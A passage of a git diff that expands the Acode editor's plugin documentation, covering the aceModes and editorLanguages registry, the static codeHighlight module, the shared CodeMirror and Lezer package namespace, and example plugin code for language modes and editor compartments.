 `acode.require("aceModes")` is still available for backward compatibility:
@@ -59,4 +114,169 @@ aceModes.addMode("myMode", ["mymode"], "My Custom Mode");
 aceModes.removeMode("myMode");
 ```
 
-Prefer `editorLanguages` for new plugins.
+### Full `aceModes` table
+
+```js
+const aceModes = acode.require("aceModes");
+```
+
+| Method | Signature | Returns | Identity |
+|---|---|---|---|
+| `addMode` | `(name, extensions, caption?, loader?, options?)` | `undefined` | the **raw** `addMode` from the mode registry |
+| `removeMode` | `(name)` | `undefined` | the **raw** `removeMode` |
+| `getModeForPath` | `(path)` | `Mode` | wrapper; coerces `path` with `String(path \|\| "")` |
+| `getModes` | `()` | `Mode[]` (a copy) | wrapper |
+| `getModesByName` | `()` | `Record<string, Mode>` (a copy) | wrapper |
+| `getMode` | `(name)` | `Mode \| null` | wrapper; trims + lower-cases before lookup |
+
+::: danger
+Nothing here loads Ace. There is no Ace engine in this build, no Ace mode files, and no `ace.define`. `aceModes` is a misleading name for a thin wrapper over the same CodeMirror mode registry that `editorLanguages` uses — the names are legacy, the behaviour is not.
+:::
+
+### How This Relates To `editorLanguages`
+
+Both modules read and write the **same** registry (`src/cm/modelist.ts`), so every method maps one-to-one:
+
+| `aceModes` | `editorLanguages` | Same underlying call? |
+|---|---|---|
+| `addMode(name, ext, caption, loader)` | `register(name, ext, caption, loader)` / `add(...)` | yes — `register`/`add` forward straight to `addMode` |
+| `removeMode(name)` | `unregister(name)` / `remove(...)` | yes — forward to `removeMode` |
+| `getModeForPath(path)` | `getForPath(path)` | yes — both wrap `getModeForPath` |
+| `getModes()` | `list()` | yes |
+| `getModesByName()` | `listByName()` | yes |
+| `getMode(name)` | `get(name)` | yes |
+
+::: warning
+One real difference: **`aceModes.addMode` is the raw registry function**, so it forwards a fifth `options` argument that `editorLanguages.register` / `add` silently drops:
+
+```js
+aceModes.addMode("MyLang", "ml|mdx", "My Lang", loader, {
+  aliases: ["mylang", "myl"],
+  filenameMatchers: [/\.myconfig$/],
+});
+```
+
+`aliases` become additional lookup keys in `getModesByName()` / `get(name)`; `filenameMatchers` are extra `RegExp`s used by `supportsFile()` during path resolution. Reach for `editorLanguages.register` unless you specifically need those.
+:::
+
+For the wider picture — what is gone (`ace.edit`, `editor.session`, `editor.$id`, …) and how each Ace-era call maps over — see [CodeMirror and Legacy Ace Compatibility](../global-apis/ace.md).
+
+## Migrating From `aceModes` <Badge type="tip" text="new" />
+
+| Old pattern | New pattern |
+|---|---|
+| `acode.require("aceModes")` | `acode.require("editorLanguages")` |
+| `aceModes.addMode(name, exts, caption, loader)` | `editorLanguages.register(name, exts, caption, loader)` |
+| `aceModes.removeMode(name)` | `editorLanguages.unregister(name)` |
+| `aceModes.getMode(name)` | `editorLanguages.get(name)` |
+| `aceModes.getModes()` | `editorLanguages.list()` |
+| `aceModes.getModesByName()` | `editorLanguages.listByName()` |
+| `aceModes.getModeForPath(path)` | `editorLanguages.getForPath(path)` |
+| `mode.$id` / `mode.mode` as an Ace mode path | `mode.name` |
+| `session.setMode("js")` | `editorManager.activeFile?.setMode("javascript")` |
+| `ace.define(...)` | `editorLanguages.register(...)` |
+
+::: tip
+Only the module name changed for the read paths, and nothing changed for the write paths. If your plugin already uses `aceModes`, the migration is mechanical: swap the require and rename five methods. Do it opportunistically — `aceModes` is not going away.
+:::
+
+## Complete Example <Badge type="tip" text="new" />
+
+```js
+const editorLanguages = acode.require("editorLanguages");
+const { LanguageSupport, StreamLanguage, HighlightStyle, syntaxHighlighting } =
+  acode.require("@codemirror/language");
+const { tags } = acode.require("@lezer/highlight");
+
+const MODE_NAME = "example_notes";
+
+const notesStream = StreamLanguage.define({
+  name: MODE_NAME,
+  token(stream) {
+    if (stream.match(/^@[\w-]+/)) return "keyword";
+    if (stream.match(/^"(?:[^"\\]|\\.)*"/)) return "string";
+    if (stream.match(/^#.*/)) return "comment";
+    stream.next();
+    return null;
+  },
+  languageData: { commentTokens: { line: "#" } },
+});
+
+const notesHighlight = HighlightStyle.define([
+  { tag: tags.keyword, color: "#c678dd" },
+  { tag: tags.string, color: "#98c379" },
+  { tag: tags.comment, color: "#5c6370", fontStyle: "italic" },
+]);
+
+acode.setPluginInit("com.example.notes-lang", () => {
+  editorLanguages.register(MODE_NAME, ["notes", "note", "^NOTES"], "Notes", () =>
+    new LanguageSupport(notesStream, [syntaxHighlighting(notesHighlight)]),
+  );
+
+  // The language is available for the already-open tab immediately.
+  window.editorManager?.activeFile?.setMode(MODE_NAME);
+});
+
+acode.setPluginUnmount("com.example.notes-lang", () => {
+  editorLanguages.unregister(MODE_NAME);
+});
+```
+
+::: code-group
+
+```js [Lezer grammar]
+// A Lezer parser must be bundled with your plugin; the styling helpers do not.
+const { LRLanguage, LanguageSupport } = acode.require("@codemirror/language");
+const { styleTags, tags } = acode.require("@lezer/highlight");
+import { parser } from "./mygrammar/parser";
+
+const lang = LRLanguage.define({
+  name: "mylang",
+  parser: parser.configure({
+    props: [styleTags({ Keyword: tags.keyword, String: tags.string })],
+  }),
+  languageData: { commentTokens: { line: "//" } },
+});
+
+editorLanguages.register("mylang", ["ml"], "MyLang", () => new LanguageSupport(lang));
+```
+
+```js [Aliases via aceModes]
+// Only the raw addMode accepts the options argument.
+const aceModes = acode.require("aceModes");
+
+aceModes.addMode("MyLang", "ml", "My Lang", () => myExtension, {
+  aliases: ["mylang", "myl"],
+  filenameMatchers: [/^tsconfig\..*\.json$/],
+});
+
+aceModes.getMode("mylang"); // -> the same Mode object
+```
+
+:::
+
+## Gotchas
+
+::: warning
+**Registering the same name twice leaks.** `addMode` overwrites the name lookup but **appends** a second entry to the mode array, so `list()` / `getModes()` can return duplicates. `unregister` then removes only the first array match, leaving the stale entry behind. Always `unregister` before re-registering, and register once from `setPluginInit` rather than from every file load.
+:::
+
+::: warning
+**Names are case-insensitive and trimmed.** `register("MyMode", …)` stores the id `mymode`, so `file.currentMode` will read `"mymode"` and `get("MyMode")` still resolves. Use the lower-cased id when you compare `currentMode` yourself.
+:::
+
+::: warning
+**Unregistering does not re-highlight open tabs.** The mode is gone from the registry but the tab keeps whatever language extension it was last configured with. Call `file.setMode()` again (with a different mode, or the same one) to force the update.
+:::
+
+::: warning
+**A loader that throws leaves the tab unhighlighted.** Registration itself cannot fail, so a broken `loader` only shows up later as a console warning from the editor's language compartment. Test the loader once at plugin init with `await myLoader()`.
+:::
+
+## Related
+
+- [CodeMirror packages](./codemirror.md) — the exact `@codemirror/*` and `@lezer/*` instances to build extensions from
+- [Editor Themes API](./editor-themes.md) — pair a language with a syntax theme
+- [Code Highlight](./code-highlight.md) — highlight code with a registered mode outside the editor
+- [CodeMirror and Legacy Ace Compatibility](../global-apis/ace.md) — the full migration map
+- [Editor File](../editor-components/editor-file.md) — `setMode`, `currentMode`, the `changemode` event
diff --git a/docs/utilities/code-highlight.md b/docs/utilities/code-highlight.md
index 9c24edf..9613a4e 100644
--- a/docs/utilities/code-highlight.md
+++ b/docs/utilities/code-highlight.md
@@ -1,9 +1,9 @@
-# Code Highlight <Badge type="tip" text="v1008+" />
+# Code Highlight <Badge type="tip" text="v1.13.2+" />
 
 Acode exposes the same **static CodeMirror / Lezer highlighter** it uses for markdown previews, plugin pages, and LSP reference snippets. Plugins can highlight code without bundling a second highlighter, and the colors follow the user's editor theme.
 
 ::: info
-Available from **versionCode `1008`** (the next Acode release). Set `"minVersionCode": 1008` in `plugin.json` when your plugin depends on it.
+Present in the Acode **v1.13.2** source tree and recorded in `CHANGELOG.md` as *"feat(plugins): expose static CodeMirror highlighter"* (PR 2769). `CHANGELOG.md` does not tie a `versionCode` to that release, so do not hardcode one — feature-detect with `acode.require("codeHighlight")?.highlightCodeBlock`.
 :::
 
 ## Import
@@ -12,16 +12,57 @@ Available from **versionCode `1008`** (the next Acode release). Set `"minVersion
 const codeHighlight = acode.require("codeHighlight");
 ```
 
-The same object is also available as `acode.require("codemirror").highlight`.
+The same object is also available as `acode.require("codemirror").highlight`. Both are **frozen** — you cannot add or replace members.
+
+## Module Shape
+
+```js
+Object.freeze({
+  highlightLine,      // (text, uri, symbolName = null) => Promise<string>
+  highlightCodeBlock, // (code, language)               => Promise<string>
+  highlight: highlightCodeBlock, // alias of highlightCodeBlock
+  clearCache,         // () => void
+  applyStyles,        // (root = document) => CSSStyleSheet | HTMLStyleElement | null
+  getStyles,          // () => string
+  getStyleSheet,      // () => CSSStyleSheet | null
+  HIGHLIGHT_CLASS,    // "cm-highlighted"
+});
+```
+
+| Member | Signature | Returns |
+|---|---|---|
+| `highlightCodeBlock` | `(code, language) => Promise<string>` | escaped HTML with `tok-*` spans |
+| `highlight` | `(code, language) => Promise<string>` | exact alias of `highlightCodeBlock` |
+| `highlightLine` | `(text, uri, symbolName = null) => Promise<string>` | escaped HTML for one line |
+| `clearCache` | `() => void` | – |
+| `applyStyles` | `(root = document) => CSSStyleSheet \| HTMLStyleElement \| null` | the adopted sheet, the `<style>` element, or the injected fallback `<style>` |
+| `getStyles` | `() => string` | the raw CSS text |
+| `getStyleSheet` | `() => CSSStyleSheet \| null` | the shared `CSSStyleSheet`, or `null` where constructed stylesheets are unsupported |
+| `HIGHLIGHT_CLASS` | `string` | `"cm-highlighted"` |
+
+::: warning
+There is no `sanitize`, `initHighlighting`, `getHighlightStyles`, `getHighlightStyleSheet` or `REF_PREVIEW_CLASS` on this module — those are the **internal** names in `src/utils/codeHighlight.js`. Plugins only ever see the eight members above, and `sanitize()` in particular is not exported.
+:::
 
 ## Highlight HTML
 
 Both methods return **escaped HTML** with Lezer `tok-*` class names (`tok-keyword`, `tok-string`, …). Put the result inside an element with the `cm-highlighted` class (or `codeHighlight.HIGHLIGHT_CLASS`).
 
-### `highlightCodeBlock(code, language?)`
+::: warning
+`highlightCodeBlock` and `highlightLine` escape the source text themselves (`&`, `<`, `>`, `"`), but they do **not** sanitise the produced markup, and they inject the literal string `<span class="symbol-match">` around matches. Treat the output as trusted HTML for your own content — it is safe to assign to `innerHTML` only when the input text is. Acode's own markdown preview additionally runs it through `DOMPurify` with `ALLOWED_TAGS: ["span"]` / `ALLOWED_ATTR: ["class"]` before insertion; do the same if your input is untrusted.
+:::
+
+### `highlightCodeBlock(code, language)`
 
 Highlight a multi-line snippet. `language` is a mode name or markdown fence id (`"javascript"`, `"python"`, `"js"`, `"ts"`, …). Unknown languages fall back to escaped plain text.
 
+| Parameter | Type | Default | Meaning |
+|---|---|---|---|
+| `code` | `string` | – | The source text. Falsy input returns `""` immediately. |
+| `language` | `string` | – | Looked up case-insensitively in the mode registry (`getModesByName()`). If that misses, a synthetic `file.<language>` path is tried; if that misses too, the escaped plain text is returned. |
+
+**Returns** `Promise<string>` — a string of escaped HTML where every token is wrapped in `<span class="tok-…">`.
+
 ```js
 const codeHighlight = acode.require("codeHighlight");
 
@@ -37,12 +78,20 @@ code.innerHTML = html;
 pre.appendChild(code);
 ```
 
-`highlight(code, language?)` is an alias of `highlightCodeBlock`.
+`highlight(code, language)` is an alias of `highlightCodeBlock`.
 
-### `highlightLine(text, uri, symbolName?)`
+### `highlightLine(text, uri, symbolName)`
 
 Highlight a single line. Language is inferred from `uri`. When `symbolName` is set, matching text is wrapped in `<span class="symbol-match">`.
 
+| Parameter | Type | Default | Meaning |
+|---|---|---|---|
+| `text` | `string` | – | The line. Whitespace-only or falsy input returns `""` immediately; otherwise the text is trimmed. |
+| `uri` | `string` | – | File URI (or path) used to resolve the language parser. |
+| `symbolName` | `string \| null` | `null` | When set, every case-insensitive match is wrapped in `<span class="symbol-match">`. Sanitised and regex-escaped before matching. |
+
+**Returns** `Promise<string>`.
+
 ```js
 const html = await codeHighlight.highlightLine(
   "export function greet() {}",
@@ -51,6 +100,44 @@ const html = await codeHighlight.highlightLine(
 );
 ```
 
+### Complete Example: Highlighting A Fenced Block <Badge type="tip" text="new" />
+
+Render a markdown-style fenced code block inside a plugin page:
+
+```js
+async function renderFencedBlock(container, fenceLang, source) {
+  const codeHighlight = acode.require("codeHighlight");
+
+  // `fenceLang` is the info string of the markdown fence ("js",
+  // "javascript", …). An empty string is fine — the app falls back to
+  // escaped plain text.
+  const html = await codeHighlight.highlightCodeBlock(source, fenceLang || "text");
+
+  const pre = document.createElement("pre");
+  const code = document.createElement("code");
+
+  // The class is what the injected stylesheet scopes its rules to, and the
+  // `tok-*` spans are what those rules colour.
+  code.className = codeHighlight.HIGHLIGHT_CLASS;
+  code.innerHTML = html;
+
+  pre.appendChild(code);
+  container.appendChild(pre);
+}
+
+acode.setPluginInit("com.example.snippets", (baseUrl, $page) => {
+  renderFencedBlock(
+    $page,
+    "javascript",
+    'export const hi = () => "there";\nconsole.log(hi());',
+  );
+});
+```
+
+::: tip
+On the light DOM you do not need `applyStyles` at all — the app injects a `<style id="cm-static-highlight-styles">` into `document.head` at startup (`initHighlighting()` in `src/main.js`) and rebuilds it whenever the editor theme changes. Call `applyStyles` only for content that lives inside a shadow root.
+:::
+
 ## Shadow DOM and custom editor tabs
 
 Token colors live in a stylesheet, not in the returned HTML. Styles injected on `document` **do not pierce Shadow DOM**.
@@ -76,6 +163,13 @@ codeHighlight.applyStyles(shadow);
 // or: codeHighlight.applyStyles(file.content); // custom tab host
 ```
 
+`applyStyles(root = document)` resolves the target first: `document` stays `document`, a `ShadowRoot` is used as-is, and any element with a `shadowRoot` is replaced by that shadow root. It then:
+
+1. rebuilds the shared stylesheet from the current editor theme;
+2. tries `root.adoptedStyleSheets.push(sheet)` and returns the `CSSStyleSheet` on success;
+3. otherwise injects (or reuses) a `<style id="cm-static-highlight-styles">` **inside** that root and returns the element;
+4. returns `null` if the root cannot host a stylesheet at all.
+
 `applyStyles` prefers `adoptedStyleSheets`. Theme changes then update every adopted root in place — you do not need to call it again.
 
 ```js
@@ -83,12 +177,38 @@ const css = codeHighlight.getStyles();
 const sheet = codeHighlight.getStyleSheet();
 ```
 
+`getStyles()` returns the CSS text for **two** selectors: `.cm-highlighted` (with background/foreground) and `.ref-preview` (tokens only, no background — that class is used by the LSP references panel and is **not** exported to plugins).
+
 Use `getStyles()` only if you need the raw CSS string. Prefer `applyStyles` so theme updates stay in sync.
 
+## Where Acode Uses This <Badge type="tip" text="new" />
+
+| Call site | What it does |
+|---|---|
+| `src/pages/markdownPreview/index.js` | Highlights every `<pre><code>` in the markdown preview; adds the `cm-highlighted` class, then re-inserts the result through DOMPurify (`ALLOWED_TAGS: ["span"]`) |
+| `src/pages/plugin/plugin.js` | Highlights the code samples on the installed-plugin detail page |
+| `src/components/referencesPanel/*` | `highlightLine()` per reference row, rendered into `.ref-preview` spans in the LSP references panel |
+| `src/lib/editorFile.js` | Applies the stylesheet to a custom tab's shadow root when `highlightStyles: true` was passed |
+| `src/utils/codeHighlight.js` | Listens for `settings.on("update:editorTheme:after")` and clears the cache whenever the active editor theme id actually changes |
+
 ## Cache
 
 Results are cached per theme + language + source. Call `codeHighlight.clearCache()` after you register or unregister a language if stale HTML would be a problem.
 
+```js
+const editorLanguages = acode.require("editorLanguages");
+
+editorLanguages.register("example_notes", ["notes"], "Notes", () => myExtension);
+// Anything highlighted before this point was cached with the *old* parser.
+codeHighlight.clearCache();
+```
+
+The cache is a bounded map of **500** entries with first-in-first-out eviction, keyed `line:<themeId>:<uri>:<text>:<symbolName>` for lines and `block:<themeId>:<language>:<code>` for blocks.
+
+::: warning
+`clearCache()` does not re-run any styling. `applyStyles()` and `getStyleSheet()` regenerate and re-inject the stylesheet, but `getStyles()` only recomputes the CSS string. Either way, HTML you already inserted keeps whatever classes it has — after changing the theme yourself, re-run the highlighter for the visible content.
+:::
+
 ## Custom tab example
 
 ```js
@@ -119,5 +239,6 @@ async function openSnippetTab(source, language) {
 
 - Shared CodeMirror packages: [CodeMirror packages](./codemirror.md)
 - Language registration: [Editor Languages](./ace-modes.md)
-- Editor theme registration: [Editor Themes](./editor-themes.md)
+- Editor theme registration (`config` supplies these colours): [Editor Themes](./editor-themes.md)
 - Custom tabs: [Editor File](../editor-components/editor-file.md)
+- Switching editor themes (`changeEditorTheme`): [Commands API](./commands.md)
diff --git a/docs/utilities/codemirror.md b/docs/utilities/codemirror.md
index 260c353..530b895 100644
--- a/docs/utilities/codemirror.md
+++ b/docs/utilities/codemirror.md
@@ -13,18 +13,52 @@ const { syntaxTree } = cm.language;
 const { tags } = cm.lezer;
 ```
 
+::: info
+`acode.require(name)` lower-cases the name before the lookup, so `acode.require("CodeMirror")` and `acode.require("@Lezer/Common")` return the same objects as the lower-case spellings. An unknown name returns `undefined` — it does not throw.
+:::
+
 ### Namespace shape
 
+`acode.require("codemirror")` is built once in `src/lib/acode.js` and is a **frozen** object. These are all of its keys:
+
+```js
+Object.freeze({
+  autocomplete, // * as cmAutocomplete  from "@codemirror/autocomplete"
+  commands,     // * as cmCommands     from "@codemirror/commands"
+  language,     // * as cmLanguage     from "@codemirror/language"
+  lezer: Object.freeze({
+    ...lezerHighlight, // spread of "@lezer/highlight" -> tags, classHighlighter, ...
+    common, // * as "@lezer/common"
+    highlight, // * as "@lezer/highlight"
+    lr, // * as "@lezer/lr"
+  }),
+  lint, // * as cmLint    from "@codemirror/lint"
+  search, // * as cmSearch  from "@codemirror/search"
+  state, // * as cmState   from "@codemirror/state"
+  view, // * as cmView    from "@codemirror/view"
+  highlight, // the same object as acode.require("codeHighlight")
+});
+```
+
+| Key | Package | Notes |
+|---|---|---|
+| `cm.autocomplete` | `@codemirror/autocomplete` | `autocompletion`, `closeBrackets`, `completionStatus`, `indentOnInput`, … |
+| `cm.commands` | `@codemirror/commands` | `undo`, `redo`, `selectLine`, `indentWithTab`, … |
+| `cm.language` | `@codemirror/language` | `LanguageSupport`, `StreamLanguage`, `LRLanguage`, `HighlightStyle`, `syntaxHighlighting`, `syntaxTree`, `foldCode`, `indentUnit`, … |
+| `cm.lezer` | `@lezer/highlight` spread, plus `common` / `highlight` / `lr` | See below |
+| `cm.lint` | `@codemirror/lint` | `linter`, `lintGutter`, `openLintPanel`, `nextDiagnostic`, … |
+| `cm.search` | `@codemirror/search` | `search`, `searchKeymap`, `highlightSelectionMatches`, … |
+| `cm.state` | `@codemirror/state` | `EditorState`, `EditorSelection`, `Compartment`, `StateField`, `StateEffect`, `Transaction`, `Text`, `RangeSet` |
+| `cm.view` | `@codemirror/view` | `EditorView`, `keymap`, `ViewPlugin`, `Decoration`, `ViewUpdate`, `lineNumbers`, `highlightActiveLine`, … |
+| `cm.highlight` | — | Identical object to `acode.require("codeHighlight")` |
+
+`cm.lezer` is flattened, so the top level *is* the `@lezer/highlight` namespace (`tags`, `classHighlighter`, `styleTags`, `highlightTree`, …), with three extra keys:
+
 | Key | Package |
 |---|---|
-| `cm.autocomplete` | `@codemirror/autocomplete` |
-| `cm.commands` | `@codemirror/commands` |
-| `cm.language` | `@codemirror/language` |
-| `cm.lint` | `@codemirror/lint` |
-| `cm.search` | `@codemirror/search` |
-| `cm.state` | `@codemirror/state` |
-| `cm.view` | `@codemirror/view` |
-| `cm.lezer` | `@lezer/highlight` plus nested `common`, `highlight`, `lr` |
+| `cm.lezer.common` | `@lezer/common` — `Tree`, `NodeType`, `LRParser`, `NodeSet`, … |
+| `cm.lezer.highlight` | `@lezer/highlight` — same namespace as the flattened one |
+| `cm.lezer.lr` | `@lezer/lr` — `LRParser`, `buildParser`, `buildLezerGrammar` |
 
 ## Direct package requires
 
@@ -44,10 +78,84 @@ const lezerHighlight = acode.require("@lezer/highlight");
 const lezerLr = acode.require("@lezer/lr");
 ```
 
+These ten names are the **complete** list of CodeMirror/Lezer packages passed to `acode.define()`. Versions resolved by the app (`package.json`):
+
+| Require name | Version in the app |
+|---|---|
+| `@codemirror/autocomplete` | `^6.20.3` |
+| `@codemirror/commands` | `^6.11.0` |
+| `@codemirror/language` | `^6.12.4` |
+| `@codemirror/lint` | `^6.9.7` |
+| `@codemirror/search` | `^6.7.1` |
+| `@codemirror/state` | `^6.7.1` |
+| `@codemirror/view` | `^6.43.9` |
+| `@lezer/common` | `^1.5.2` |
+| `@lezer/highlight` | `^1.2.3` |
+| `@lezer/lr` | `^1.4.10` |
+
+`acode.require("@codemirror/view") === cm.view` and `acode.require("@lezer/highlight") === cm.lezer.highlight` — the aliases are the same objects, not copies.
+
+::: warning
+Packages the app itself uses but does **not** expose: `@codemirror/theme-one-dark`, `@codemirror/lsp-client`, `@codemirror/lang-javascript`, `@codemirror/lang-html`, `@codemirror/language-data`, `@emmetio/codemirror6-plugin`. `acode.require()` returns `undefined` for all of them — bundle your own copy, or use the higher-level APIs ([Editor Languages](./ace-modes.md), [Editor Themes](./editor-themes.md), [`acode.require("lsp")`](../advanced-apis/lsp.md)).
+:::
+
 ::: tip
 Prefer these requires over bundling your own copy of CodeMirror. Duplicate packages often break extension composition (`EditorState` / facet identity mismatches).
 :::
 
+## Why sharing the app's instances matters <Badge type="tip" text="new" />
+
+`src/lib/acode.js` imports these packages with `import * as cmView from "@codemirror/view"` and hands the very same namespace objects to `acode.define()`. The editor itself is built from those imports too (`src/lib/editorManager.js`, `src/cm/**`). So a plugin and the app agree on **object identity** for everything that CodeMirror 6 compares by reference:
+
+```js
+const { EditorState, Compartment, StateField } = acode.require("@codemirror/state");
+const { EditorView } = acode.require("@codemirror/view");
+
+const view = window.editorManager?.editor;
+
+// The live view is an instance of *your* EditorView class…
+console.log(view instanceof EditorView); // true
+
+// …and your StateField is the very same class the editor already knows about,
+// so `view.state.field(myField)` works instead of throwing "field not present".
+const myField = StateField.define({ create: () => 0, update: (v) => v });
+
+const probe = EditorState.create({ doc: "", extensions: [myField] });
+console.log(probe.field(myField) === 0); // true
+```
+
+If you bundled a second copy of `@codemirror/state`, the duplicated `StateField` would be a foreign key and the editor would reject it; likewise a duplicated `@codemirror/view` would give you a `keymap` facet that the live `EditorView` never consults.
+
+::: warning
+`cm`, `cm.lezer` and the `codeHighlight` module are all `Object.freeze`d, and the `cm.*` package namespaces are ES-module namespace objects, which are frozen by spec. Assigning `cm.view = …` (or adding a key to `cm`) throws in strict mode and is silently dropped otherwise. Read-only — do not try to monkey-patch the exports.
+:::
+
+## Reaching The Live Editor <Badge type="tip" text="new" />
+
+| What | How to get it |
+|---|---|
+| Active `EditorView` | `window.editorManager?.editor` |
+| Live `EditorState` | `view.state` (never re-read it once — it is replaced on every transaction) |
+| Active file | `window.editorManager?.activeFile` (an `EditorFile`) |
+| Multi-pane views | `window.editorManager?.panes` — each pane has its own `editor` |
+
+```js
+const view = window.editorManager?.editor;
+if (!view) return; // boot has not created the first EditorView yet
+
+const text = view.state.doc.toString();
+```
+
+`window.editorManager` is `null` until the first `EditorView` is constructed, so read it **lazily** — inside a command, an event callback, or after an `await` — never at module top level. Full reference: [EditorManager](../global-apis/editor-manager.md).
+
+The state object itself is immutable; to change anything you dispatch a transaction:
+
+```js
+view.dispatch({
+  changes: { from: 0, to: view.state.doc.length, insert: "hello" },
+});
+```
+
 ## Related APIs
 
 - Active editor: `editorManager.editor` — see [EditorManager](../global-apis/editor-manager.md)
@@ -56,25 +164,140 @@ Prefer these requires over bundling your own copy of CodeMirror. Duplicate packa
 - Language servers: `acode.require("lsp")` — see [LSP](../advanced-apis/lsp.md)
 - Static highlighter for snippets and plugin tabs: `acode.require("codeHighlight")` — see [Code Highlight](./code-highlight.md)
 - File and folder icon packs: `acode.require("fileIcons")` — see [File Icons](./file-icons.md)
+- Keybindings: register a command instead of shipping a raw `keymap` — see [Commands API](./commands.md)
 
 ## Minimal extension example
 
+A `Compartment` only does something once it is **part of the state it is applied to**, so the install and the remove must be two separate steps:
+
+1. **Install** — dispatch `StateEffect.appendConfig` carrying `compartment.of(extension)`. This adds the compartment to the running configuration, which is the only way a plugin can get one in there: `createMainEditorExtensions` builds the app's extension array from a fixed set of arguments (`src/cm/mainEditorExtensions.ts:35-65`) and nothing appends to it afterwards.
+2. **Remove** — now that the compartment is in the configuration, `compartment.reconfigure([])` really removes the extension. The document and undo history are untouched.
+
 ```js
 const cm = acode.require("codemirror");
 const { EditorView } = cm.view;
-const { StateField } = cm.state;
+const { Compartment, StateEffect, StateField } = cm.state;
+
+// 1. A real piece of state, defined with the app's own StateField class.
+const activeLength = StateField.define({
+  create: () => 0,
+  update(value, transaction) {
+    return transaction.docChanged ? transaction.newDoc.length : value;
+  },
+});
+
+// 2. A plugin-owned compartment. Reconfiguring it swaps the whole extension
+//    in or out without rebuilding the document.
+const compartment = new Compartment();
+const extension = [activeLength, EditorView.theme({ "&": { tabSize: "4" } })];
+
+// 3. Install / remove against one view.
+function installOn(view) {
+  view.dispatch({ effects: StateEffect.appendConfig.of(compartment.of(extension)) });
+}
+
+function removeFrom(view) {
+  view.dispatch({ effects: compartment.reconfigure([]) });
+}
+
+function eachView(fn) {
+  const panes = window.editorManager?.panes;
+  const views = panes?.length ? panes.map((pane) => pane.editor) : [];
+  const fallback = window.editorManager?.editor;
+  const list = views.length ? views : fallback ? [fallback] : [];
+  list.forEach((view) => view && fn(view));
+}
+
+// 4. Read the field back off the live state, after the install transaction.
+acode.setPluginInit("com.example.editor-ext", () => {
+  eachView((view) => {
+    installOn(view);
+    console.log("document length:", view.state.field(activeLength, false));
+  });
+});
+
+acode.setPluginUnmount("com.example.editor-ext", () => {
+  eachView(removeFrom);
+});
+```
+
+`view.state.field(activeLength)` without the second argument **throws** while the extension is absent (this is CodeMirror 6 API behaviour — `false` means "give me `undefined` instead"). Use the two-argument form when you might be called before `init`, or after `unmount`.
+
+::: warning
+Do **not** skip step 1 and dispatch only `compartment.reconfigure(extension)`. A compartment that is not in the configuration matches nothing, so the effect changes nothing and the state field never appears. The app itself never does this: every compartment it owns is pushed into the extension array when the state is created, with comments saying so — `themeCompartment` / `languageCompartment` / `readOnlyCompartment` at `src/lib/editorManager.js:2949`, `:2968`, `:2981` ("keep compartment in the state to allow dynamic theme changes later", "Ensure language compartment is present"), the loading state at `:2832-2844`, and the first state at `:1677-1681`.
+:::
+
+::: tip
+The same `compartment` can be reconfigured at any time with a different extension list — that is how the app itself swaps themes, indent units, wrapping and read-only state. For an extension that needs no handle at all, `StateEffect.appendConfig.of(ext)` installs it directly; `src/cm/foldingCommands.js:134` uses exactly that to switch `codeFolding()` on for a view that was created without it. That is append-only, though — to take such an extension away again you must reconfigure the compartment it lives in.
+:::
 
-const demoField = StateField.define({
-  create() {
-    return 0;
+::: warning
+Avoid `StateEffect.reconfigure` from a plugin. It throws away the whole configuration and replaces it with whatever you pass, which for a live Acode editor means dropping the theme, language, read-only, search and command-keymap compartments. There is no single "add an extension to the editor" API in Acode — `appendConfig` on your own compartment is the intended one.
+:::
+
+## Language Example (StreamLanguage) <Badge type="tip" text="new" />
+
+`StreamLanguage` lets you ship a language with **no** parser bundle — the tokenizer is plain JavaScript running against CodeMirror's own `StringStream`. Acode's built-in Luau mode is defined exactly this way (`src/cm/modes/luau/index.ts`).
+
+```js
+const editorLanguages = acode.require("editorLanguages");
+const {
+  LanguageSupport,
+  StreamLanguage,
+  HighlightStyle,
+  syntaxHighlighting,
+} = acode.require("@codemirror/language");
+const { tags } = acode.require("@lezer/highlight");
+
+const MODE_NAME = "example_notes";
+
+const notesStream = StreamLanguage.define({
+  name: MODE_NAME,
+  token(stream) {
+    if (stream.match(/^@[\w-]+/)) return "keyword";
+    if (stream.match(/^"(?:[^"\\]|\\.)*"/)) return "string";
+    if (stream.match(/^#.*/)) return "comment";
+    stream.next();
+    return null;
   },
-  update(value) {
-    return value;
+  languageData: {
+    commentTokens: { line: "#" },
   },
 });
 
-// Plugins typically register language/theme extensions via
-// editorLanguages / editorThemes rather than patching the view directly.
-void demoField;
-void EditorView;
+const notesHighlight = HighlightStyle.define([
+  { tag: tags.keyword, color: "#c678dd" },
+  { tag: tags.string, color: "#98c379" },
+  { tag: tags.comment, color: "#5c6370", fontStyle: "italic" },
+]);
+
+acode.setPluginInit("com.example.notes-lang", () => {
+  // name, extensions (no dots), caption, loader
+  editorLanguages.register(MODE_NAME, ["notes", "note"], "Notes", () =>
+    new LanguageSupport(notesStream, [syntaxHighlighting(notesHighlight)]),
+  );
+});
+
+acode.setPluginUnmount("com.example.notes-lang", () => {
+  editorLanguages.unregister(MODE_NAME);
+});
+
+// Apply it to the open tab.
+window.editorManager?.activeFile?.setMode(MODE_NAME);
 ```
+
+The loader may be sync or async — Acode reconfigures the editor's language compartment as soon as the returned promise settles. For a Lezer grammar instead of a tokenizer, use `LRLanguage.define({ parser })` with a parser you bundle; see [Editor Languages](./ace-modes.md) and [CodeMirror and Legacy Ace Compatibility](../global-apis/ace.md).
+
+## Gotchas
+
+::: warning
+`window.editorManager.editor` is only the **focused pane's** view. In a multi-pane layout the other panes keep their own `EditorView` instances, so a `Compartment` you reconfigure on `editorManager.editor` leaves the other panes untouched. Either iterate `editorManager.panes` and dispatch on each `pane.editor`, or register a [command](./commands.md) and let the app route it to the right pane.
+:::
+
+::: warning
+A new `EditorView` is created per pane, not per file — a `StateField` you add stays installed across tab switches within that pane, and it is **not** applied to views created later (a new pane, or a view created before your `setPluginInit` ran). Re-run `installOn(view)` for every view you find in `editorManager.panes`, and skip any view that already has your field (`view.state.field(activeLength, false) !== undefined`), otherwise `appendConfig` installs your compartment a second time.
+:::
+
+::: warning
+Do not ship a raw `keymap.of([...])` extension to grab keys. The command registry owns a dedicated `commandKeymapCompartment` and rebuilds it whenever a command is added or removed; register a command with a `bindKey` instead so users can rebind it in settings. See [Commands API](./commands.md).
+:::
diff --git a/docs/utilities/commands.md b/docs/utilities/commands.md
index 830e7c2..40253e5 100644
--- a/docs/utilities/commands.md
+++ b/docs/utilities/commands.md
@@ -2,14 +2,29 @@
 
 Use the Commands API to register commands for command palette/keybindings and execute them programmatically.
 
+Every registered command automatically gets:
+
